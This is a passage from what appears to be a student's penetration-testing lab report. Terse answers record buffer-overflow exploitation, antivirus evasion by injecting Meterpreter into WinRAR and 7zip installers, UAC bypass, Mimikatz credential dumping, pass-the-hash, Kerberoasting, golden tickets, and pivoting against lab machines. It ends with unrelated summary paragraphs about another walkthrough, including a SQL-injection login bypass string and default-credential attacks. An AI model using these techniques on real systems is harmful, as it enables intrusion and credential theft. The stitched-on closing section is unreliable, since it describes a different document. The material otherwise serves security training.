4. Attach the debugger to the target process and set a breakpoint at the return address
instruction.
Attached the process and set a breakpoint at “10090C83”
211 | Page
5. Compile the exploit and run it. Did you hit the breakpoint?
212 | Page
[Link] Exercises
1. Fix the overflow buffer such that the EIP register will be overwritten by your
chosen return address instruction.
213 | Page
Recompiled the exploit and got shell.
214 | Page
Refuzzed the application to get correct buffer length
215 | Page
Reflected all the modifications the buffer length, EIP, Shellcode, NOPs, in the exploit
code downloaded from [Link]
216 | Page
Loading [Link] into the vulnerable application.
217 | Page
[Link] Exercises
1. Connect to your dedicated Linux lab client and start the apache2 service; the
target web application is located under /var/www/https/.
218 | Page
2. Modify the original exploit and set the base_url variable to the correct IP
address of your dedicated Linux lab client as well as the protocol to HTTPS.
3. Get familiar with the requests Python library and adjust your exploit
accordingly to avoid SSL verification.
4. Edit the username and password variables to match the ones from our test
case (username
“admin”, password “HUYfaw763”).
219 | Page
6. Try to run the exploit against the Linux lab client, does it work? If not, try to explain why.
The exploit dosent work due to index out of range error which might be due to the
mismatch of csrf_param variable.
[Link] Exercises
1. Observe the error that is generated when running the exploit.
2. Attempt to troubleshoot the code and determine why the error occurs.
Error occurs due to the different csrf parameter than in the exploit.
220 | Page
3. Modify the exploit in order to avoid the error and run it against your dedicated Linux
client.
Exploit modified.
4. Verify that your exploit worked by attempting to execute the whoami command using
the remote php shell.
221 | Page
Exploit worked.
[Link] Exercises
(Reporting is not required for these exercises)
[Link] Exercises
(Reporting is not required for these exercises)
222 | Page
[Link] Exercises
1. Review the code from the PowerShell script and ensure that you have a basic
understanding of how it works.
In the screenshot below we can see that the code imports various functions from
different DLL’s
By just a simple overview of the code we can see that this part of the script imports the
“VirtualAlloc” and “CurrentThread” functions from “[Link]” and imports “memset”
function from the “[Link]”, these functions allow us to allocate memory, create an
execution thread, and write arbitrary data to the allocated memory.
This next part of the code in the screenshot below allocates a block of memory of size
4096 bytes using the “VirtualAlloc” function, and takes each byte of payload stored in
“$sc” and stores it into our newly allocated memory using “memset” function.
223 | Page
In the final part the script creates a new thread using “CurrentThread” function and
executes the payload in the newly created thread
2. Get a meterpreter shell back to your Kali Linux machine using PowerShell.
Generated payload.
Executed payload.
One liner.
[Link] Exercises
1. Inject a meterpreter reverse shell payload in the WinRAR executable.
225 | Page
226 | Page
2. Transfer the binary to your Windows client and ensure that it is not being detected by
the antivirus.
227 | Page
Running scan on the folder “temp” where the malicious executable is stored.
3. Run the WinRAR installer and migrate your meterpreter shell to prevent a disconnect.
228 | Page
Ran the installer.
4. Attempt to find different executables and inject malicious code into them using
Shellter.
229 | Page
Injecting malicious code in 7zip executable. Injection was successful.
230 | Page
231 | Page
[Link] Exercise
1. Perform various manual enumeration methods covered in this section on both your
dedicated Windows and Linux clients. Try experimenting with various options for the
tools and commands used in this section.
Enumerating users.
Linux
232 | Page
233 | Page
Windows
Enumerating Hostname.
Linux
Windows
Windows
Linux
235 | Page
236 | Page
Windows
237 | Page
Linux
Windows
238 | Page
239 | Page
240 | Page
Enumerating Firewall Status and Rules.
Linux
241 | Page
Windows
242 | Page
Enumerating Scheduled Tasks.
Linux
243 | Page
Windows
Schedule tasks
Linux
Dpkg -l
244 | Page
Windows
245 | Page
Linux
Windows
246 | Page
Enumerating Unmounted Disks
Windows
Linux
247 | Page
Enumerating Device Drivers and Kernel Modules
Windows
248 | Page
Linux
Windows
249 | Page
Linux
[Link] Exercises
1. Inspect your Windows and Linux clients by using the tools and commands presented
in this section in order to get comfortable with manual local enumeration techniques.
Windows
250 | Page
Linux
251 | Page
252 | Page
2. Experiment with different windows-privesc-check and unix_privesc_check options.
Linux
253 | Page
Using the detailed option on unix-privesc-check tool
254 | Page
Windows
255 | Page
[Link] Exercise
1. Log in to your Windows client as the admin user and attempt to bypass UAC using
the application and technique covered above.
256 | Page
Found a favourable registry value to edit.
257 | Page
[Link] Exercises
1. Log in to your Windows client as an unprivileged user and attempt to elevate your
privileges to SYSTEM using the above vulnerability and technique.
258 | Page
[Link] service has full access
259 | Page
Moved [Link] to the necessary location
Escalated privilages.
Got SYSTEM.
260 | Page
2. Attempt to get a remote system shell rather than adding a malicious user.
261 | Page
Got reverse shell.
[Link] Exercise
1. Log in to your Debian client as an unprivileged user and attempt to elevate your
privileges to root using the above techniques.
262 | Page
[Link] Exercise
1. Log in to your Debian client with your student credentials and attempt to elevate your
privileges by adding a superuser account to the /etc/passwd file.
Exploit successful.
[Link] Exercise
(Reporting is not required for this exercise)
[Link] Exercise
(Reporting is not required for this exercise)
[Link] Exercises
(Reporting is not required for these exercises)
263 | Page
[Link] Exercise [Link] Exercise
(Reporting is not required for these exercises)
(Reporting is not required for these exercises)
[Link] Exercises
(Reporting is not required for these exercises)
[Link] Exercises
(Reporting is not required for these exercises)
[Link] Exercises
1. Use Mimikatz to extract the password hash of an administrative user from the
Windows client.
2. Reuse the password hash to perform a pass-the-hash attack from your Kali
system and obtain code execution on your Windows client.
264 | Page
Got shell by passing the hash.
[Link] Exercise
(Reporting is not required for this exercise)
[Link] Exercises
1. Connect to your dedicated Linux lab client and run the clear_rules.sh script from
/root/port_forwarding_and_tunneling/ as root.
265 | Page
[Link] Exercises
1. Connect to your dedicated Linux lab client and run the clear_rules.sh script from
/root/port_forwarding_and_tunneling/ as root.
266 | Page
2. Run the ssh_local_port_forwarding.sh script from
/root/port_forwarding_and_tunneling/ as root.
3. Take note of the Linux client and Windows Server 2016 IP addresses shown in the
Student Control Panel.
Tunnelling.
267 | Page
Edited [Link]
268 | Page
[Link] Exercises
1. Connect to your dedicated Linux lab client via SSH and run the clear_rules.sh
script from /root/port_forwarding_and_tunneling/ as root.
2. Close any SSH connections to your dedicated Linux lab client and then connect
as the student account using rdesktop and run the ssh_remote_port_forward.sh script
from /root/port_forwarding_and_tunneling/ as root.
Logging in.
3. Attempt to replicate the SSH remote port forwarding covered in the above
scenario and ensure that you can scan and interact with the MySQL service.
Tunnling successful
269 | Page
Scanning service.
[Link] Exercises
1. Connect to your dedicated Linux lab client and run the clear_rules.sh script from
/root/port_forwarding_and_tunneling/ as root.
2. Take note of the Linux client and Windows Server 2016 IP addresses.
270 | Page
3. Create a SOCKS4 proxy on your Kali machine, tunneling through the Linux target.
4. Perform a successful nmap scan against the Windows Server 2016 machine through
the proxy.
271 | Page
5. Perform an nmap SYN scan through the tunnel. Does it work? Are the results
accurate?
272 | Page
[Link] Exercises
1. Obtain a reverse shell on your Windows lab client through the Sync Breeze
vulnerability.
273 | Page
Exploited the sync breeze and got reverse shell.
2. Use [Link] to establish a remote port forward to the MySQL service on your
Windows 10 client.
274 | Page
3. Scan the MySQL port via the remote port forward.
[Link] Exercise
1. Obtain a reverse shell on your Windows lab client through the Sync Breeze
vulnerability.
2. Using the SYSTEM shell, attempt to replicate the port forwarding example using
netsh.
[Link] Exercises
1. Connect to your dedicated Linux lab client as the student account using rdesktop and
run the http_tunneling.sh script from /root/port_forwarding_and_tunneling/ as root.
276 | Page
2. Start the apache2 service and exploit the vulnerable web application hosted on port
443 (covered in a previous module) in order to get a reverse HTTP shell.
277 | Page
Hts port forward started.
RDP success
278 | Page
279 | Page
[Link] Exercise
1. Connect to your Windows 10 client and use [Link] to lookup users and groups in the
domain. See if you can discover any interesting users or groups.
Found 1 admin account jeff_admin and 2 service accounts and one user account
named adam.
280 | Page
Adam is a member of “another nested group”
281 | Page
Enumerating domain groups show 3 intresting groups
“Secret_Group,Another_Nested_groups,Nested_groups”
282 | Page
[Link] Exercises
1. Modify the PowerShell script to only return members of the Domain Admins group.
283 | Page
2. Modify the PowerShell script to return all computers in the domain.
[Link] Exercises
1. Repeat the enumeration to uncover the relationship between Secret_Group,
Nested_Group, and Another_Nested_Group.
284 | Page
Nested group is member of another nested group.
285 | Page
2. The script presented in this section required us to change the group name at
each iteration. Adapt the script in order to unravel nested groups programmatically
without knowing their names beforehand.
[Link] Exercises
1. Download and use PowerView to perform the same enumeration against the
student VM while in the context of the Offsec account.
286 | Page
DC01 has offsec logged into from the windows client
2. Log in to the student VM with the Jeff_Admin account and perform a remote
desktop login to the domain controller using the Jeff_Admin account. Next, execute the
GetNetLoggedOn function on the student VM to discover logged-in users on the domain
controller while in the context of the Jeff_Admin account.
287 | Page
3. Repeat the enumeration by using the DownloadString method from the
[Link] class in order to download PowerView from your Kali system
and execute it in memory without saving it to the hard disk.
[Link] Exercises
1. Repeat the steps from this section to discover the service principal name for the IIS
server.
288 | Page
2. Discover any additional registered service principal names in the domain.
289 | Page
290 | Page
291 | Page
292 | Page
3. Update the script so the result includes the IP address of any servers where a service
principal name is registered.
Script Updated
293 | Page
4. Use the Get-SPN script and rediscover the same service principal names.
294 | Page
295 | Page
[Link] Exercises
1. Use Mimikatz to dump all password hashes from the student VM.
296 | Page
297 | Page
2. Log in to the domain controller as the Jeff_Admin account through Remote Desktop
and use Mimikatz to dump all password hashes from the server.
Dumped credentials.
298 | Page
[Link] Exercises
1. Repeat the manual effort of requesting the service ticket, exporting it, and cracking it
by using the [Link] Python script.
Exported ticket.
299 | Page
Cracked hash.
2. Perform the same action with any other SPNs in the domain.
300 | Page
Dumping TGS.
Cracked TGS.
301 | Page
Hash cracked
302 | Page
Cracked hash of sql service.
[Link] Exercises
1. Use the PowerShell script in this module to guess the password of the jeff_admin
user.
303 | Page
2. Use the Spray-Passwords.ps1 tool to perform a lookup brute force attack of all
users in the domain from a password list.
304 | Page
[Link] Exercise
1. Execute the overpass the hash attack above and gain an interactive command
prompt on the domain controller. Make sure to reboot the Windows 10 client before
starting the exercise to clear any cached Kerberos tickets.
305 | Page
Launched powershell as jeff_admin.
306 | Page
Cached jeff_admin TGT.
307 | Page
Launched [Link] as the jeff_admin user.
308 | Page
[Link] Exercises
1. Create and inject a silver ticket for the iis_service account.
309 | Page
2. How can creating a silver ticket with group membership in the Domain Admins group
for a SQL service provide a way to gain arbitrary code execution on the associated
server?
Ans:-In Windows, Mimikatz can be used to craft the ticket. Next, the ticket is injected
with Rubeus, and finally a remote shell can be obtained thanks to PsExec.
[Link] Exercises
1. Repeat the exercise of launching Notepad using Excel and DCOM.
Created Macro.
310 | Page
Copied the macro xlsm file to the destination and launched the macro.
311 | Page
Task Manager shows excel has launched in the background along with notepad.
2. Improve the attack by replacing the VBA macro with a reverse shell connecting back
to Netcat on your windows student VM.
312 | Page
Created macro.
313 | Page
Got Reverse shell on windows client.
314 | Page
3. Set up a pivoting channel from the domain controller to your Kali machine and obtain
a reverse shell
Set up a tunnel to my attacker machine from the windows client using socat. And ran
the payload on the server which is set to lport 8080.
315 | Page
Started a netcat listner on attacker machine with port 1337. And got reverse shell.
[Link] Exercises
1. Repeat the steps shown above to dump the krbtgt password hash and create and
use a golden ticket.
316 | Page
Dumped the krbtgt hash on Domain Controller.
On the windows client used mimikatz and the krbtgt hash to generate a Golden Ticket.
Launched cmd.
317 | Page
2. Why is the password hash for the krbtgt account changed during a functional
level upgrade from Windows 2003 to Windows 2008?
Ans: This is likely due to the fact that the KRBTGT password changes as part of the
DFL update to 2008 to support Kerberos AES encryption.
[Link] Exercises
1. Start the postgresql service and launch msfconsole.
318 | Page
2. Use the SMB, HTTP, and any other interesting auxiliary modules to scan the lab
systems.
319 | Page
320 | Page
3. Review the hosts information in the database.
321 | Page
[Link] Exercise
1. Exploit SyncBreeze using the existing Metasploit module.
[Link] Exercise
1. Take time to review and experiment with the various payloads available in Metasploit.
322 | Page
Using windows/meterpreter/reverse_ipv6_tcp. Didn’t work.
323 | Page
324 | Page
Using exploit/windows/http/syncbreeze_bof
325 | Page
[Link] Exercises
1. Create a staged and a non-staged Linux binary payload to use on your Kali system.
326 | Page
Staged.
Non-staged.
2. Setup a Netcat listener and run the non-staged payload. Does it work?
327 | Page
3. Setup a Netcat listener and run the staged payload. Does it work?
Upload.
Download.
328 | Page
5. Inject a payload into [Link]. Test it on your Windows system.
329 | Page
6. Create an executable file running a Meterpreter payload and execute it on your
Windows system.
File created.
Executed.
7. After establishing a Meterpreter connection, setup a new transport type and change
to it.
330 | Page
[Link] Exercise
1. Create a new Metasploit module for your SyncBreeze exploit.
331 | Page
Module created.
332 | Page
[Link] Exercise
1. Use post-exploitation modules and extensions along with pivoting techniques to
enumerate and compromise the domain controller from a meterpreter shell obtained
from your Windows 10 client.
333 | Page
Added routes to access windows server and scanned its ports.
334 | Page
Tried using autorouting to pivot to windows server.
335 | Page
[Link] Exercise
1. Create a resource script using both a second stage encoder and autorun scripts and
use it with the meterpreter payload.
336 | Page
[Link] Exercises
1. Install and start PowerShell Empire on your Kali system.
337 | Page
2. Create a PowerShell Empire listener on your Kali machine and execute a stager on
your Windows 10 client.
Creating Listener.
338 | Page
339 | Page
Executing launcher.
3. Experiment with the PowerShell Empire agent and its basic functionality.
340 | Page
Mimikatz loads mimikatz to the victim and dumps password hashes.
341 | Page
342 | Page
Sherlock is a vulnerability scanner.
343 | Page
344 | Page
345 | Page
[Link] Exercises
1. Set up a PowerShell Empire listener and stager and obtain a working agent.
346 | Page
2. Perform enumeration on the domain using various modules.
347 | Page
348 | Page
Used Situational awareness module.
349 | Page
3. Perform a remote desktop login with the account Jeff_Admin to ensure the
credentials are cached on the Windows 10 client and then dump the credentials using
PowerShell Empire.
350 | Page
4. Experiment with the different lateral movement modules.
Get_user module.
351 | Page
352 | Page
Using bypass fodhelper to get a high privilege shell.
353 | Page
[Link] Exercise
1. Use sqlmap to exploit the SQL injection and extract the username and password.
[Link] Exercises
1. Modify the original Python exploit and capture the reverse shell.
354 | Page
355 | Page
Got revshell.
2. The original UDF exploit is advertised as a privilege escalation exploit. Why are we
getting an unprivileged shell?
Because in the last few lines of exploit we generate a suid binary to launch a bash
interactive shell. But in the manual exploit method provided in the pdf we skip the suid
generation part. And even if we include the suid part the exploit fails because on ZORA
machine, mysql account has not got privileges to make folders and files in that directory.
And even the /bin/bash is not suid binary.
356 | Page
Reverse shells are used to gain remote command execution by tricking the server into connecting back to the attacker's machine. The document describes several methods to achieve this, including uploading a JSP reverse shell to a file upload feature after authenticating with stolen credentials . Another method involves injecting PHP code into a CMS configuration file, exploiting LFI vulnerabilities to execute the code . These reverse shells give attackers control over the server to execute arbitrary commands, providing a foothold for further exploitation.
The document outlines techniques such as SQL injection and default credential logins to gain initial server access. One example is using SQL injection in a login panel to bypass authentication by injecting ' OR 1=1;-- into input fields, allowing unauthorized access . Additionally, default credentials like admin/admin for a CMS (PHPLiteAdmin) allow an attacker to log in without prior knowledge of valid credentials . Both methods exploit common vulnerabilities to execute unauthorized actions on targeted systems.
Social engineering insights provide contextual understanding that can be pivotal for attack planning, allowing technical exploits to be more targeted and contextually intelligent. For instance, gaining knowledge about administrative credentials such as default usernames or common password patterns can facilitate initial access via web platforms or remote services . Coupling such information with technical exploits enables attackers to craft more credible and targeted attacks, increasing the likelihood of successful access and lateral movement within networks.
Directory brute-forcing is critical for discovering hidden resources on a web server. Techniques like enumerating directories can reveal crucial endpoints such as /administrator/, which expose web applications like Cuppa CMS and other sensitive files which can be exploited . By systematically testing different paths, attackers can identify and exploit web applications or scripts that may have security vulnerabilities, leading to further exploitation avenues such as LFI or RFI.
nmap plays a crucial role in the initial stage of network reconnaissance by identifying live hosts and open ports. In the document, nmap is used to detect open ports such as port 80, which is significant because it's commonly used for web traffic and often hosts web applications vulnerable to exploitation . This information guides attackers on which services to target for vulnerabilities, forming the backbone of the initial vulnerability assessment.
Using default credentials is a common tactic for initial access because such credentials are often overlooked by administrators and provide a direct, uncomplicated entry into systems. The document illustrates attacks where the default password 'admin' is used to access phpLiteAdmin and gain control over database functionalities . While this strategy is low-effort for attackers, the risks include easy detection if default accounts are monitored, and potential legal consequences if unauthorized access attempts are traced back to the attacker.
Privilege escalation is demonstrated by exploiting kernel vulnerabilities and inadequate permission management. For example, the use of a Linux Kernel exploit allows attackers to escalate privileges from a standard user to root by exploiting a specific vulnerability in lower versions (Linux Kernel < 4.4.0-116 allows privilege escalation by targeting a flaw). This shows how kernel exploits can be chained with initial access exploits to elevate access and control over a machine.
Automated exploitation frameworks streamline the attack process by allowing rapid exploitation of known vulnerabilities across different systems. Using tools like msfvenom to generate payloads reduces the time needed for custom exploit creation and increases efficiency by providing reliable shells on target machines . However, reliance on such frameworks can lead to overconfidence and potential exposure if not carefully managed, as automated scripts may trigger alerts or fail against patched systems.
File inclusion vulnerabilities like RFI and LFI allow attackers to manipulate input fields or configuration parameters within web applications to include and execute malicious code hosted externally or on the server itself. The document illustrates how chaining an LFI in Cuppa CMS allows accessing a PHP reverse shell file not directly accessible via the webserver's directory . This technique exploits the application's dynamic file handling to execute arbitrary shell commands, providing a foothold for deeper system penetration.
Deobfuscation of obscured JavaScript code helps uncover hidden functions and purposefully obfuscated links or resources that can be exploited. In the document, deobfuscating a script reveals disguised image sources and directories, one of which leads to a login page which was not easily visible . By reversing the obfuscation process, attackers can deduce the intended logic flow of scripts, potentially revealing misconfigured or outdated paths and functionalities leading to exploitable endpoints.









